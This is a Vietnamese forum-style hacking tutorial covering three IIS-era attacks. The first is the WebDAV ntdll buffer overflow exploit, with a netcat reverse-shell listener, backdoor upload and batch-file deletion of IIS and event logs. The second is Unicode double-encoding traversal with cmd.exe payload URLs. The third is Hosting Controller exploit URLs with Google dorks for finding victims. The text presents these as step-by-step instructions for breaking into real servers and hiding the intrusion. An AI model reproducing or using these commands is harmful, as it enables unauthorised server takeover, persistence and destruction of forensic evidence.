Trở
thành HACKER phần 9
50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :
_ Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning
(WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một
cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên
Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows
2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển
máy tính .
_ Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy
vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
_ Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
CODE
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn
công> <cổng lắng nghe> [padding=1,2,3...]
VD :
CODE
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy
tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
CODE
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32> <-- OK đã thành công rùi. :mellow: :mellow: :mellow:
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai
thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell,
Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu
truy vấn sau :
CODE
C:\WINNT\system32>reg query
HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory !
REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
CODE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log
này , ta đánh các lệnh sau :
CODE
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat '
xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
CODE
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy
chủ
Nó sẽ cho kết quả như VD sau :
CODE
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
.
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc
sau 5 phút nữa bằng lệnh sau :
CODE
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông
số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :
CODE
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông
qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác
hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.
( Tham khảo từ bài viết của seamoun )



52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :
_Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của
một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng
như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật
Unicode trong IIS của Microsoft, nhưng "không may" những người quản
trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài
hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt
động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống
như sau:
Đây là remote address của web server, hiển thị trên thanh address của trình
duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web
server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server.
Hầu hết những root folder của một web server là:
C:\inetpub\wwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của
website. Vì vậy nếu bạn gõ địa chỉ sau:
Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:\inetpub\wwwroot\index.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu
được sự khác nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server?
Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào?
Bạn không thể gõ:
Chú thích Web server sẽ bắt đầu đi qua local của nó
c:\inetpub\wwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ
vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất
nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức,
bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có
bao giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20
không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
http://www.someserver.com/iis
Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :
Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy
thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có
một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình
duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước
khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng
đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải
thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ
với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi
chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong
Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ
và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng
thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe
(dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay
lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần
phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không
theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã
hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
CODE
ASCII................................. UNICODE
%........................................ %25
5.......................................... %35
C............................ .............%43
Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết
nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những
trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu
tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong
web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có
đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm
/scripts/ vào cuối URL.
Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi
hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần
làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.
Bắt đầu cmd.exe theo cách sau:
cmd.exe?/c+
? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống
Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:
Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?
_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không
hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:
CODE
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
…….
( Một bài viết rất chất lượng của LeonHart bên www.whatvn.com )
53 . ) Kỹ thuật hack Hosting controller :
_Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :
+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .
Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2
đoạn code :
CODE
http://www.victim.com/advwebadmin*hoac
admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )
www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )
Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi
đó , he he .
_ Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý
thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào
thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn
nhân , theo mặc định nó sẽ nằm ở đây :
C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )
+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :
http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\(
đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=C:\( đường
dẫn đến thư mục ta vừa upload file )
+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên
file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced
Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách
đánh đường dẫn ở URL :
www.victim/admin[avdadmin]/a.html
+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong , .
GOODLUCK!!!!!!!!!!!!!!!!!